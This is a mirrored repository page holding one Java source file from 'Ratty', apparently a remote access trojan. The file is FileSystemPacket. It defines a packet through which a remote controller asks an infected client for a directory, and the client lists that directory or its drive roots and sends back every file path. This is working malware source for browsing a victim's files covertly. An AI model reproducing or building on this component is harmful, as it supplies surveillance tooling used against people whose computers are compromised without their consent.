mirror of https://github.com/LucaBongiorni/Ratty
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
97 lines
1.9 KiB
97 lines
1.9 KiB
package de.sogomn.rat.packet;
|
|
|
|
import java.io.File;
|
|
import java.util.ArrayList;
|
|
import java.util.stream.Stream;
|
|
|
|
import de.sogomn.rat.ActiveClient;
|
|
|
|
public class FileSystemPacket extends AbstractPingPongPacket {
|
|
|
|
private String rootFile;
|
|
|
|
private String[] paths;
|
|
|
|
private static final byte INCOMING = 0;
|
|
private static final byte END = 1;
|
|
|
|
public FileSystemPacket(final String rootFile) {
|
|
this.rootFile = rootFile;
|
|
|
|
type = REQUEST;
|
|
paths = new String[0];
|
|
}
|
|
|
|
public FileSystemPacket() {
|
|
this("");
|
|
|
|
type = DATA;
|
|
}
|
|
|
|
@Override
|
|
protected void sendRequest(final ActiveClient client) {
|
|
client.writeUTF(rootFile);
|
|
}
|
|
|
|
@Override
|
|
protected void sendData(final ActiveClient client) {
|
|
for (final String path : paths) {
|
|
client.writeByte(INCOMING);
|
|
client.writeUTF(path);
|
|
}
|
|
|
|
client.writeByte(END);
|
|
}
|
|
|
|
@Override
|
|
protected void receiveRequest(final ActiveClient client) {
|
|
rootFile = client.readUTF();
|
|
}
|
|
|
|
@Override
|
|
protected void receiveData(final ActiveClient client) {
|
|
final ArrayList<String> pathList = new ArrayList<String>();
|
|
|
|
while (client.readByte() == INCOMING) {
|
|
final String path = client.readUTF();
|
|
|
|
pathList.add(path);
|
|
}
|
|
|
|
paths = new String[pathList.size()];
|
|
paths = pathList.toArray(paths);
|
|
}
|
|
|
|
@Override
|
|
protected void executeRequest(final ActiveClient client) {
|
|
final File[] children;
|
|
|
|
if (rootFile.isEmpty() || rootFile.equals(File.separator)) {
|
|
children = File.listRoots();
|
|
} else {
|
|
final File file = new File(rootFile);
|
|
|
|
children = file.listFiles();
|
|
}
|
|
|
|
if (children != null) {
|
|
paths = Stream
|
|
.of(children)
|
|
.map(File::getAbsolutePath)
|
|
.toArray(String[]::new);
|
|
}
|
|
|
|
type = DATA;
|
|
client.addPacket(this);
|
|
}
|
|
|
|
@Override
|
|
protected void executeData(final ActiveClient client) {
|
|
//...
|
|
}
|
|
|
|
public String[] getPaths() {
|
|
return paths;
|
|
}
|
|
|
|
}
|